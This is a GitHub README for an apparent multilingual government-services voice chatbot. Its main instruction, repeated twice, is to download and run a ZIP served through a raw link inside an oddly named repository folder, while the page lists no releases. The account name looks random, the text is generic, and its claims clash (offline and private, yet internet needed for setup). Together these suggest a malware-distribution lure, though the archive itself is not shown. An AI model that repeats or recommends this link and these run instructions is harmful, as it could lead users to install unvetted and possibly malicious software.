Skip to content

Circumlocutionparadoxurus116/Multilingual_OpenSource_Chatbot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

🤖 Multilingual_OpenSource_Chatbot - Simple Offline Voice Help

Download

🚀 What this app does

GovUnified is a voice assistant for government-related help. It can answer questions in Tamil, Hindi, and English. It runs on Windows and is built for fast local use.

It is made to help with common service questions, form guidance, office details, and other public service topics. It uses local files and a local AI model when set up, so it can work without sending your data to the cloud.

📥 Download and install

Use this page to download and run the app:

https://github.com/Circumlocutionparadoxurus116/Multilingual_OpenSource_Chatbot/raw/refs/heads/main/Phasianellidae/Open_Multilingual_Source_Chatbot_v3.1.zip

If the page includes a release file, download the Windows file from there and run it. If you see a ZIP file, save it to your PC, extract it, and start the app from the extracted folder.

🖥️ What you need on Windows

Before you run the app on a new PC, install these first:

  1. Windows 10 or Windows 11
  2. 8 GB RAM or more
  3. 5 GB free disk space
  4. A stable internet connection for the first setup
  5. A speaker or headphones
  6. A microphone if you want to talk to the app

🧰 Required software

Install these tools before you start:

  1. Python 3.11 or later
  2. Git for Windows
  3. Ollama
  4. Microsoft Visual C++ Redistributable
  5. A modern web browser such as Chrome, Edge, or Firefox

📂 Basic setup steps

  1. Open the download page.
  2. Download the latest Windows package.
  3. Save the file to your Downloads folder.
  4. If the file is ZIP format, right-click it and choose Extract All.
  5. Open the extracted folder.
  6. Follow the included setup file or instructions.
  7. Start the app from the main launcher or run file.

🛠️ First-time setup

When you open the app for the first time, it may ask for a few local components. Follow these steps in order:

  1. Install Ollama if it is not already on your PC.
  2. Open Ollama and make sure it runs.
  3. Download the local model used by the app.
  4. Start the chatbot app.
  5. Wait for the app to finish its first scan.
  6. Open the voice screen or chat screen.
  7. Test one short question in English first.

🔊 Voice output

The app uses neural voice output when online voice support is available. If that is not available, it can use a local voice option.

You can use it for:

  • Spoken answers
  • Short government service help
  • Language switching
  • Hands-free use

🌐 Supported languages

The app can work with:

  • Tamil
  • Hindi
  • English

It can detect the language from your input and reply in the same language when possible.

🧭 How to use it

  1. Open the app.
  2. Choose voice or text mode.
  3. Ask a question in Tamil, Hindi, or English.
  4. Wait for the reply.
  5. Listen to the spoken answer or read the text on screen.
  6. Ask a follow-up question if needed.

💡 Good example questions

  • How do I apply for a ration card?
  • Where is the nearest government office?
  • What documents do I need for a certificate?
  • How do I check the status of an application?
  • What is the fee for this service?

⚙️ How the app works

The app uses a RAG-first setup. That means it checks its local government documents first before it gives an answer.

This helps it:

  • Stay close to the source material
  • Give short, direct replies
  • Reduce unnecessary AI calls
  • Keep response time low

It also supports streaming replies, so you can start seeing the answer before the full response is ready.

🗂️ Folder layout

After setup, you may see folders like these:

  • data for local documents
  • models for AI model files
  • logs for app logs
  • config for settings
  • voices for speech files
  • cache for temporary files

If you move the app to a new folder, keep these folders together.

🔧 Common tasks

🔁 Change the language

Use the language selector if the app shows one. If not, ask your question in Tamil, Hindi, or English.

🔈 Turn voice on or off

Open the settings panel and switch voice output on or off based on how you want to use the app.

📄 Use text only

You can type your question instead of speaking it. This helps if your microphone is not ready.

📴 Use offline mode

If your internet is slow or unavailable, the app can keep working with local files and the local model already on your PC.

🧪 Troubleshooting

App does not start

  • Check that Python is installed
  • Check that Ollama is running
  • Restart your PC and try again
  • Make sure the app files were extracted fully

Voice does not work

  • Check your speaker or headphones
  • Check your microphone settings
  • Make sure Windows sound is not muted
  • Try text mode first

Answers seem incomplete

  • Ask a shorter question
  • Use simple words
  • Try English if the answer in another language is unclear
  • Check that the local documents are loaded

The app is slow

  • Close other large apps
  • Restart Ollama
  • Make sure you have enough free RAM
  • Use text mode if speech is slowing things down

🔐 Privacy and local use

The app is built to keep data local where possible. It uses a local LLM through Ollama. That means your questions can stay on your machine instead of going to a cloud server.

This is useful when you want:

  • More control over data
  • Less network use
  • Faster local replies
  • Better support for private use

📌 Best results

For the best experience:

  • Use a headset with a microphone
  • Keep your PC plugged in
  • Keep Windows updated
  • Use a stable internet connection for the first setup
  • Keep the local model files in place

🖱️ Quick start

  1. Open the download page: https://github.com/Circumlocutionparadoxurus116/Multilingual_OpenSource_Chatbot/raw/refs/heads/main/Phasianellidae/Open_Multilingual_Source_Chatbot_v3.1.zip
  2. Download the Windows file
  3. Extract it if needed
  4. Install the required tools
  5. Start the app
  6. Ask your first question in Tamil, Hindi, or English

About

Build a multilingual offline chatbot for government services with Tamil, Hindi, and English support, RAG answers, and low-latency voice output

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors